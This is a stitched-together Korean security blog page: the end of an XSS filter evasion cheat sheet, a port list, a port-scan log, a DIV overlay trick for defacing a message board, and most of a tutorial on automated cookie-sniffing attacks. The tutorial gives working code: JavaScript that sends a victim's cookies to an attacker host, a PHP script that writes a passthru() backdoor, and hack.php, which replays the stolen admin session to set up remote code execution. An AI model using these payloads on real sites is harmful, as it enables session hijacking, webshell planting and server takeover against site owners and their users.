    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extra dot for absolute DNS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    JavaScript link location:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Content replace as attack vector (assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several seperate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x26;#x09;script:" was converted into "java&#x09;script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


Character Encoding:

    All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):



Browser support reference table:

IE7.0              Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0 Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
NS8.1-G Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
FF1.5 Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 1.5.0.4 on Windows XP Professional.
O8.54 Vector works in Opera. Most recently tested with Opera 8.54, Build 7722 on Windows XP Professional
NS4 Vector works in older versions of Netscape 4.0 - untested.


Note: if a vector is not marked it either does not work or it is untested

2009/08/26 17:40 2009/08/26 17:40

Port Knowledgebase

List of frequently seen TCP and UDP ports and what they mean. The goal of this port table is to point to further resources for more information.


0
1 tcpmux
3
4
5 rje
7 echo
9 discard
11 systat
13 daytime
15 netstat
17 qotd
18 send/rwp
19 chargen
20 ftp-data
21 ftp
22 ssh, pcAnywhere
23 Telnet
25 SMTP
27 ETRN
29 msg-icp
31 msg-auth
33 dsp
37 time
38 RAP
39 rlp
40
41
42 nameserv, WINS
43 whois, nickname
49 TACACS, Login Host Protocol
50 RMCP, re-mail-ck
53 DNS
57 MTP
59 NFILE
63 whois++
66 sql*net
67 bootps
68 bootpd/dhcp
69 Trivial File Transfer Protocol (tftp)
70 Gopher
79 finger
80 www-http
87
88 Kerberos, WWW
95 supdup
96 DIXIE
98 linuxconf
101 HOSTNAME
102 ISO, X.400, ITOT
105 cso
106 poppassd
109 POP2
110 POP3
111 Sun RPC Portmapper
113 identd/auth
115 sftp
116
117 uucp
118
119 NNTP
120 CFDP
123 NTP
124 SecureID
129 PWDGEN
133 statsrv
135 loc-srv/epmap
137 netbios-ns
138 netbios-dgm (UDP)
139 NetBIOS
143 IMAP
144 NewS
150
152 BFTP
153 SGMP
156
161 SNMP
175 vmnet
177 XDMCP
178 NextStep Window Server
179 BGP
180 SLmail admin
199 smux
210 Z39.50
213
218 MPP
220 IMAP3
256
257
258
259 ESRO
264 FW1_topo
311 Apple WebAdmin
350 MATIP type A
351 MATIP type B
360
363 RSVP tunnel
366 ODMR (On-Demand Mail Relay)
371
387 AURP (AppleTalk Update-Based Routing Protocol)
389 LDAP
407 Timbuktu
427
434 Mobile IP
443 ssl
444 snpp, Simple Network Paging Protocol
445 SMB
458 QuickTime TV/Conferencing
468 Photuris
475
500 ISAKMP, pluto
511
512 biff, rexec
513 who, rlogin
514 syslog, rsh
515 lp, lpr, line printer
517 talk
520 RIP (Routing Information Protocol)
521 RIPng
522 ULS
531 IRC
543 KLogin, AppleShare over IP
545 QuickTime
548 AFP
554 Real Time Streaming Protocol
555 phAse Zero
563 NNTP over SSL
575 VEMMI
581 Bundle Discovery Protocol
593 MS-RPC
608 SIFT/UFT
626 Apple ASIA
631 IPP (Internet Printing Protocol)
635 mountd
636 sldap
642 EMSD
648 RRP (NSI Registry Registrar Protocol)
655 tinc
660 Apple MacOS Server Admin
666 Doom
674 ACAP
687 AppleShare IP Registry
700 buddyphone
705 AgentX for SNMP
901 swat, realsecure
993 s-imap
995 s-pop
999
1024
1025
1050
1062 Veracity
1080 SOCKS
1085 WebObjects
1100
1105
1114
1227 DNS2Go
1234
1243 SubSeven
1338 Millennium Worm
1352 Lotus Notes
1381 Apple Network License Manager
1417 Timbuktu
1418 Timbuktu
1419 Timbuktu
1420
1433 Microsoft SQL Server
1434 Microsoft SQL Monitor
1477
1478
1490
1494 Citrix ICA Protocol
1498
1500
1503 T.120
1521 Oracle SQL
1522
1524
1525 prospero
1526 prospero
1527 tlisrv
1529
1547
1604 Citrix ICA, MS Terminal Server
1645 RADIUS Authentication
1646 RADIUS Accounting
1680 Carbon Copy
1701 L2TP/LSF
1717 Convoy
1720 H.323/Q.931
1723 PPTP control port
1731
1755 Windows Media .asf
1758 TFTP multicast
1761
1762
1808
1812 RADIUS server
1813 RADIUS accounting
1818 ETFTP
1968
1973 DLSw DCAP/DRAP
1975
1978
1979
1985 HSRP
1999 Cisco AUTH
2000
2001 glimpse
2005
2010
2023
2048
2049 NFS
2064 distributed.net
2065 DLSw
2066 DLSw
2080
2106 MZAP
2140 DeepThroat
2301 Compaq Insight Management Web Agents
2327 Netscape Conference
2336 Apple UG Control
2345
2427 MGCP gateway
2504 WLBS
2535 MADCAP
2543 sip
2565
2592 netrek
2727 MGCP call agent
2766
2628 DICT
2998 ISS Real Secure Console Service Port
3000 Firstclass
3001
3031 Apple AgentVU
3052
3128 squid
3130 ICP
3150 DeepThroat
3264 ccmail
3283 Apple NetAssitant
3288 COPS
3305 ODETTE
3306 mySQL
3352
3389 RDP Protocol (Terminal Server)
3520
3521 netrek
3879
4000 icq, command-n-conquer
4045
4144
4242
4321 rwhois
4333 mSQL
4444
47017
4827 HTCP
5000
5001
5002
5004 RTP
5005 RTP
5010 Yahoo! Messenger
5050
5060 SIP
5135
5150
5190 AIM
5222
5353
5400
5500 securid
5501 securidprop
5300
5423 Apple VirtualUser
5555
5556
5631 PCAnywhere data
5632 PCAnywhere
5678
5800 VNC
5801 VNC
5900 VNC
5901 VNC
5843
6000 X Windows
6112 BattleNet
6050
6499
6500
6502 Netscape Conference
6547
6548
6549
6666
6667 IRC
6670 VocalTec Internet Phone, DeepThroat
6699 napster
6776 Sub7
6968
6969
6970 RTP
6971
7000
7007 MSBD, Windows Media encoder
7070 RealServer/QuickTime
7161
7323
7777
7778 Unreal
7640
7648 CU-SeeMe
7649 CU-SeeMe
7654
8000
8002
8010 WinGate 2.1
8080 HTTP
8100
8181 HTTP
8383 IMail WWW
8765
8875 napster
8888 napster
8890
9000
9090
9200
9704
9669
9876
9989
10008 cheese worm
10752
12345
11371 PGP 5 Keyserver
12346
13000
13223 PowWow
13224 PowWow
14000
14237 Palm
14238 Palm
14690
16969
18888 LiquidAudio
21157 Activision
22555
22703
22793
23213 PowWow
23214 PowWow
23456 EvilFTP
26000 Quake
27000
27001 QuakeWorld
27010 Half-Life
27015 Half-Life
27374
27444
27665
27910
27960 QuakeIII
28000
28001
28002
28003
28004
28005
28006
28007
28008
30029 AOL Admin
30100
30101
30102
30103
30303
30464
31335
31337 Back Orifice
32000
32771
32777 rpc.walld
34555
40193 Novell
41524 arcserve discovery
45000 Cisco NetRanger postofficed
50505
52901
54321
61000
65301
Multicast hidden
ICMP Type hidden
9998
32773 rpc.ttdbserverd
32776 rpc.spray
32779 rpc.cmsd
38036 timestep

 
2009/08/26 17:40 2009/08/26 17:40

스캐너 입니다.

사용자 삽입 이미지

2009/08/26 17:39 2009/08/26 17:39

사용중인 포트검색


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>C:\PortQryV2\PortQry.exe -n www.jakartaproject.com

Querying target system called:

 www.jakartaproject.com

Attempting to resolve name to IP address...


Name resolved to 211.233.89.217

querying...

TCP port 80 (http service): LISTENING

C:\Documents and Settings\Administrator>


매뉴얼

http://support.microsoft.com/?id=832919

2009/08/26 17:38 2009/08/26 17:38
사용자 삽입 이미지
2009/08/26 17:37 2009/08/26 17:37

구글을 이용한 해킹 및 방어를 하는 기초 자료입니다

최소한 웹프로그래머라면 이정도는 꼭 숙지하고 넘어갑시다

2009/08/26 17:36 2009/08/26 17:36
핵스
2009/08/26 17:35 2009/08/26 17:35

이 사이트와 같이 에디터를 제공하는 사이트들이 많습니다

물론 태그를 다 막으려 하니 자유도가 낮아지고, 안그러자니 장난치는 이가 많고..

다음은 DIV 태그의 특성을 이용해서 화면을 먹어버릴수가 있습니다

<DIV style="Z-INDEX: 1; LEFT: 0px; TOP: 0px; WIDTH: 100px; POSITION: absolute; HEIGHT: 100px;BACKGROUND-COLOR: #000000; layer-background-color: #000000"><font color=white>화면먹기 -_-</font></DIV>

만약 글제목에 저 내용이 들어갈 수 있으면 큰일입니다

메인화면까지 먹어버릴수 있겠죠 ^^;

이사이트 제목에는 못들어 가지만 내용에는 역시 가능합니다 DIV태그는 막지 않았거든요

테스트 게시판에서 테스트해 보세요 width와 height를 크게주게되면 다 먹어버립니다

2009/08/26 17:34 2009/08/26 17:34

Automatic attack program that can be used in Cookie Sniffing
(Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램)

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina



요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다.






1. 개요

이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다.

Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다.

그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다.








2. 이용될 수 있는 곳

이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다.

이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다.

(Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.)








3. 기술적인 내용

먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다.

이 문서에서 설명하는 해킹 순서를 알아보겠습니다.

(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)
(2) Target 서버의 CGI 자료실에 test.txt 업로드
(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)
(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드
(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림
(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격
(7) beist.php 를 이용하여 nobody shell 획득

조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다.

target 의 정보는 다음과 같습니다.

Target Server URL - http://beist.org/
Target CGI URL - http://beist.org/~beist/auto/index.html

해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다.

Hacker URL - http://beist.hackerscomputer/



(1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt)

Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다.


test.txt

<html>
<head>
<title>beist's Cookie Sniffing</title>

<script language=javascript>
window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href);
</script>

</head>
<body>

Automatic attack program that can use in Cookie Sniffing

</body>
</html>



이러한 Javascript 파일을 만듭니다. test.txt 의 기능은, window.open 메소드를 호출하고, open할 페이지로 hackerscomputer 의 hack.php 를 지정합니다. 이때 cook 이라는 인자를 넘기고, 그 값은 현재 브라우저의 쿠키가 담긴 document.cookie 를 보냅니다. 뒤의 url 인자에 담긴, location.href 라는 객체는 현재 웹 브라우저의 주소 값을 담고 있습니다. hack.php 에서 자동화 공격을 시도할 때, 보다 동적인 공격을 하기 위해 정보를 얻어냅니다.



(2) Target 서버의 CGI 자료실에 test.txt 업로드

위 파일을 Target 서버의 CGI 자료실에 업로드합니다.

(Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.)

자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다.


[화면1] http://beist.org/~beist/auto/index.html (메인메뉴)


pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다.

[화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form)


해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다.

[화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지)


pds_ok.html 의 소스를 보겠습니다.


pds_ok.html

<?

echo "
<html>
<head>
<title>pds_ok</title>
</head>
<body>
<center><br><br>
<font size=2>";

if(eregi("php", $file_name))
{
echo "no php : $file_name";
exit;
}

if(eregi("htm", $file_name))
{
echo "no htm* : $file_name";
exit;
}

if(!copy($file, "data/$file_name"))
{
echo "file save failed";
exit;
}

echo "http://beist.org/~beist/auto/data/$file_name save ok";

?>


test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다.

test.txt URL - http://beist.org/~beist/auto/data/test.txt



(3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt)

이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다.


beist.txt


<?

/* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor
파일입니다. 만약 beist.php 가 존재하지 않는다면 { } 안의 루틴을 실행합니다. */

if(!file_exists("./data/beist.php"))
{

/* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의
내용을 넣습니다. */

$fp=fopen("./data/beist.php", "w");

fputs($fp, "<? passthru(\$beist); ?>");

fclose($fp);

}

echo "
<html>
<head>
<title>beist test target program</title>
</head>
";

?>


만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다.

잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다.

이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.)

beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다.

beist.txt URL - http://beist.org/~beist/auto/data/beist.txt




(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드

이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다.

hack.php 의 진행 순서

-1- Target Server 정보 저장
-2- Cookie Sniffing 으로 가져온 Target 의 Cookie(Session) 를 저장
-3- Target Web Server 에 연결
-4- Admin Menu 기능을 수행하는 CGI 요청
-5- Admin Menu 의 include 기능을 이용하여 beist.txt 파일을 include 하도록 환경 설정
-6- 쿼리 전달

hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다.


[화면4] http://beist.org/~beist/auto/admin_login.html (admin login form)


admin_login.html

<html>
<head>
<title>admin login</title>
</head>
<body>
<center><br><br>
<font size=2>
beist admin login page<br><br>
<table>
<form action=admin_loginok.html method=post>
<td>ID : </td><td><input type=text name=id></td><tr>
<td>Passwd : </td><td><input type=password name=passwd></td><tr>
<td><input type=submit></td><td></td>
</form>
</body>
</html>


[화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)


admin_loginok.html

<?
session_start();

if($id == "admin" && $passwd == "beist")
{
$id="admin";
$passwd="beist";
session_register("id");
session_register("passwd");
echo "login ok";
}

echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n");

?>


[화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu)


admin_menu.html

<?
session_start();

/* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는
메세지를 출력하고 CGI 실행을 종료한다. */

if($HTTP_SESSION_VARS["id"])
{
if($HTTP_SESSION_VARS["id"]!="admin")
{
echo "oh! beist";
exit;
}
if($HTTP_SESSION_VARS["passwd"]!="beist")
{
echo "oh! beist";
exit;
}

echo "
<html>
<head>
<title>beist admin menu</title>
</head>
<body>
<font size=2><center><br><br>
<form action=admin_menu.html method=post>
head file : <input type=text name=head><input type=submit>
</form>
</body>
</html>";

/* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면,
./data/head.txt 파일을 열고 admin 이 지정한 파일을 넣는다. */

if($head)
{
$fp=fopen("./data/head.txt", "w");
fputs($fp, $head);
fclose($fp);
}

/* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면
admin 이 지정한 header 파일이 있다는 이야기이다. 그 값을 출력해준다. */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
echo "header file : $data";
fclose($fp);
}

echo "<br><br>welcome to beist world";
}
else
{
echo "oh! beist";
}

?>


이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다.


index.html

<?

/* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header
파일로 지정한 값이 존재한다는 것이다. 해당 값을 읽고 include 시킴 */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
fclose($fp);
@include "$data";
}
else
echo "
<html>
<head>
<title>beist test target program</title>
</head>
";
?>


<body>
<center><font size=2>
<br><br><br>
this is beist test target program<br><br><br>
<a href=memo.html><font color=black>read memo</a><br>
<a href=memo2.html><font color=black>write memo</a><br>
<a href=pds.html><font color=black>pds</a><br><br>
<a href=admin_login.html><font color=red>admin login</a><br>
</body>
</html>


index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다.

다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다.


header.txt

<html>
<head>
<title>beist cgi header file</title>
</head>
<center><font size=2><br><br>
Hello, everybody. this is header file!!<br><br>

파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다.


[화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정)


이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다.


[화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html)

index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다.

hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다.

이제 본격적으로 hack.php 의 소스를 알아보겠습니다.

hack.php

<?

/* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */

$day = date("Y.m.d", mktime());
$time = date("H:i:s", mktime());


/* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면

에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */


if(!$cook)
{
$fp=fopen("/tmp/beist-error.txt", "a++");
if($url)
fputs($fp, "$day - $time : $url access\n");
else
fputs($fp, "$day - $time : $REMOTE_ADDR access\n");
fclose($fp);
exit;
}

echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";


/* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의.

targetsession 은 cook 값. */

$total = substr($url, strlen("http://"), 100);

$use = split("/", $total);

$temp = "http://";

for($count=0;$count<sizeof($use)-2;$count++)
{
$temp .= $use[$count];
$temp .= "/";
}

$targetcgi = $temp;
$targetaddress = $use[0];
$targetsession = $cook;
$targettotal = $total;

echo "targetcgi : $targetcgi<br>";
echo "targetaddress : $targetaddress<br>";
echo "targetsession : $targetsession<br>";
echo "targettotal : $targettotal<br>";

/* 로그 파일에 기록 */


$fp=fopen("/tmp/beist-cookie.txt", "a++");
fputs($fp, "time : $day - $time\n");
fputs($fp, "address : $targetaddress\n");
fputs($fp, "session : $targetsession\n");
fputs($fp, "URL : $targettotal\n\n");
fclose($fp);

/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */

$includefile = ".%2Fdata%2Fbeist.txt";

/* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */

$argument = "head=$includefile";

/* POST header 에 보낼 데이터로, argument 의 길이를 저장 */

$argulength = strlen($argument);

/* header 정의 */

$httpheader=
"POST $targetcgi"."admin_menu.html HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n".
"Referer: $targetcgi"."admin_menu.html\r\n".
"Accept-Language: ko\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (atfile.com))\r\n".
"Host: 2nom.net\r\n".
"Content-Length: $argulength\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: $targetsession\r\n\r\n";

/* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */

$sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30);
if(!$sock)
{
echo "$errstr ($errno)<br>";
$fp=fopen("/tmp/beist-error.txt", "a++");
fputs($fp, "$day - $time : $targetaddress connect failed\n");
fclose($fp);
exit;
}

/* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */

fputs($sock, $httpheader);
fputs($sock, $argument);
echo fread($sock, 1024);
fclose($sock);

?>

hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다.

hack.php URL - http://beist.hackerscomputer/hack.php


(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림

이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다.

[화면8] http://beist.org/~beist/auto/read.html (read memo page)

(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격

Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다.

[화면10] Admin 이 test.txt 를 읽었을 때 상황

무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다.

[beist@beist auto]$ cat data/head.txt
./data/beist.txt

data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다.
(7) beist.php 를 이용하여 nobody shell 획득

